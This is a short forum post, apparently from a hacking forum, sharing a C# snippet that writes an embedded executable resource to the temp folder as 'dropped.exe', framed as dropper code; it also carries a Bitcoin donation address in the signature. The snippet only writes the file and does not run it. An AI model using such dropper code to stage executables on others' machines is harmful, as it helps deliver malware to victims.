Dropping an embedded exe resource (Quick and easy) 09-22-2017, 04:36 AM
#1
I was tinkering around trying to drop an embedded resource, here's what I got, let me know what you guys think.
Code:
using System.IO;
using System.Runtime.InteropServices;
// Select our drop path
string path = Path.Combine(Path.GetTempPath(), "dropped.exe");
// Write all bytes into a new file
File.WriteAllBytes(path, Properties.Resources.dropped);![[Image: YmmIqHV.gif]](https://i.imgur.com/YmmIqHV.gif)
Donations: 1CCR21K2fnu2yAinUTFPsVdY7u4FkjNPs5




![[+]](https://sinister.li/images/modern/collapse_collapsed.png)